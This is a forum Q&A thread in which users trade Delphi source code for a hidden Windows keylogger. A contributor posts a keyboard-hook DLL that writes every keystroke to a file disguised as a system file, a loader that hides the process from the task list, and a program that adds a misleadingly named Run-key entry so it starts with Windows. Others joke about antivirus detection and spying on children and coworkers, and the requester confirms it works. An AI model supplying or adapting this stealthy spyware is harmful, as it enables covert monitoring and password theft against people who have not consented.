Writing A TSR ???

1) http://www.delphidevelopers.com/delphi/faq/faqin/695.html

mail bounced back from this address:
sonali.nair@worldnett.att.net

have resent to this address:
bijoyn@hotmail.com

Here is what I found somewhere to trap keystrokes. It uses a dll. Sorry I think it can't be done without.



//this is the hook procedure. should go in a dll.
//i post a message WM_USER+1 to my window
//whenever a shell event occurs.

function ShellProc(nCode: integer; wp: WPARAM; lp: LPARAM): LRESULT;stdcall;

var h : HWND;

begin
if(nCode < 0) then
  begin
  Result := CallNextHookEx(0, nCode, wp, lp);
  end
else
  begin
  h := FindWindow('TForm1', 'Your Form Caption');
  if h <> 0 then PostMessage(h , wm_User+1, wp, nCode)
            else Messagebeep(0);
  Result := CallNextHookEx(0, nCode, wp, lp);
  end;
end;

//----------------------------------------------------------------------------
//this code goes in your unit1 and you
//you use HookMainWindow(msghook).
//in your form create method

function TForm1.MsgHook (var Msg : TMessage) : Boolean;
begin
Result := (Msg.msg = WM_ENDSESSION) and (Msg.lparam <> 0);
if Msg.msg = wm_User + 1 then
   begin;
     if (Msg.lparam = HSHELL_WINDOWCREATED) then //window created !!
     if (Msg.lparam = HSHELL_WINDOWDESTROYED) then //window destroyed !!
     if (Msg.lparam = WM_KEYDOWN) then // See WM_KEYDOWN message docs
   end;
end;


//use set your hook as follows

DLLName := ExtractFilePath(Application.ExeName) + 'SHHook.DLL';
hModule := LoadLibrary(PChar(DLLName));

if hModule <> 0 then
   begin
   begin
   @HookProc := GetProcAddress(hModule, 'ShellProc');
   if @HookProc <> nil then
      HHookProc := SetWindowsHookEx(WH_SHELL, HookProc, hModule, 0)
   else Application.MessageBox('Failed to get HookProc address', 'Error', mb_ok);
   end;
end;

hello
this is the code i sent to the above email addresss.
(and yes it must be in a dll).
note this uses no forms so nothing will be on taskbar and registers the program as a service so the program is not in the ctrl/alt/del list either.
 
code for dll:

library msHelp;

uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM); stdcall;
var
LogFile : THandle;
BytesWritten : DWORD;
strp: pchar;
kbstate: tkeyboardstate;
begin
if ((HiWord(lParam) and KF_UP) <> 0) {and (nCode = HC_ACTION)} then
begin
LogFile := CreateFile('c:\windows\system\msmru.sys', GENERIC_WRITE, FILE_SHARE_READ, Nil,
  OPEN_ALWAYS, 0, 0);
SetFilePointer(LogFile, 0, Nil, FILE_END);
getmem(strp,3);
getkeyboardstate(kbstate);
toasciiex(wparam,MapVirtualKeyex(wparam,0,getkeyboardlayout(0)),kbstate,strp,0,getkeyboardlayout(0));
if lo(wparam)=13 then
begin
WriteFile (LogFile, wparam, 1, BytesWritten, Nil);
wparam := 10;
WriteFile (LogFile, wparam, 1, BytesWritten, Nil);
end
else
WriteFile (LogFile, strp[0], 1, BytesWritten, Nil);
freemem(strp,3);
CloseHandle(LogFile);
end;
CallNextHookEx(0, nCode, wParam, lParam);
end;


exports HookProcedure;
begin
end.




main program :


program gohelp;

uses Windows;
{$R *.RES}
const
 RSP_SIMPLE_SERVICE = 1;
 RSP_UNREGISTER_SERVICE = 0;
Function RegisterServiceProcess(dwProcessID,dwtype : DWORD) : DWORD;stdcall;external 'KERNEL32.DLL';

var
Hook : HHOOK;
DllInstance : DWORD;
HookProc : FARPROC;

Begin
RegisterServiceProcess(GetCurrentProcessID,RSP_SIMPLE_SERVICE);
DllInstance := LoadLibrary('msHelp');
HookProc := GetProcAddress(DllInstance, 'HookProcedure');
Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
Sleep(INFINITE);
UnhookWindowsHookEx(Hook);
FreeLibrary(DllInstance);
RegisterServiceProcess(GetCurrentProcessID,RSP_UNREGISTER_SERVICE);
end.



Regards Barry


also done this to put the program on the windoes run on startup in the registry:


program startup;
uses Windows,
  registry;
{$R *.RES}


const ProgramName = 'program';
var
StartupInfo : TStartupInfo;
ProcessInformation : TProcessInformation;
procedure RunOnStartup(sProgTitle, sCmdLine: string; bStartup: boolean );
var
sKey: string;
reg : TRegIniFile;
begin
sKey := ''; //sKey := 'Once' if you wish it to only run on the next time you startup.
if bStartup = false then  //If value passed is false, then value deleted from Registry.
begin
try
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.DeleteKey(
'Software\Microsoft'
+ '\Windows\CurrentVersion\Run'
+ sKey + #0,
sProgTitle);
reg.Free;
exit;
except //Using Try Except so that if value can not be placed in registry, it
//will not give and error.
end;
end;

try
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString(
'Software\Microsoft'
+ '\Windows\CurrentVersion\Run'
+ sKey + #0,
sProgTitle,
sCmdLine );
reg.Free;
except
end;

end;
Begin
GetStartupInfo(StartupInfo);
 RunOnStartup('msHelp System', 'C:\Windows\system\gohelp.exe', True);

end.

What are you trying to write? A sort of virus? Or is it a program that intercepts user keystrokes for passwords and then sends it to you?

Don't worry Alex, my code doesn't work anyway  :o)

Just kiddin'

What do guys think? Do common virus scanners see those hook being created? Never tested that.....

its a bit harsh to assume whenever this sort of question is asked it is for a virus/trojan etc.
i use the same sort of stuf  to simply log what people are doing on my network at work.
also good to know what the kids are up to at home ;-)

hey  Epsylon that was good timing ,
see the new  question from itsme ..  

Hi All,

'InThe' thanks for the quick response. Well this is not for a virus or trojan horse's etc. This is something that one of my friend needs to use on his home computer so that she can trap keystrokes on her computer. Why ???, I did not ask.

I will try the code 'InThe', But u have not told the sequence in which to use it. BTW I am sorry for the wrong email_Id, its 'Sonali.Nair@worldnet.att.net'.

Thanx

Bijoy

>>also good to know what the kids are up to at home ;-)
hmmmmm..... ;)

bijoyn, (1) is impossible... (2) & (3) are possible though.... if by (1) you mean creating an app that would work in the background then that's possible, but I don't think you'll cab write a TSR for windows, or am I wrong?!

Hi InThe

Your solution works. Thanks but, I need the the pas files for the gohelp and startup please. Can u send me that please.

Cheers,

Bijoy

first i just checking ..did you get the files i sent to the second email address about a hour ago (ish)( i dont want you to have to  redownload if you already have it :-)
if you got them just open the .dpr files using file open in delphi and click ignore for any errors (fonts etc).
they dont use any forms therefore theer is no pas files

Thanks 'InThe'. I did get the files. I am sorry for overlooking. Its working great and that's the reason I have increased the points.

you are generous ,and i thank you very much :-)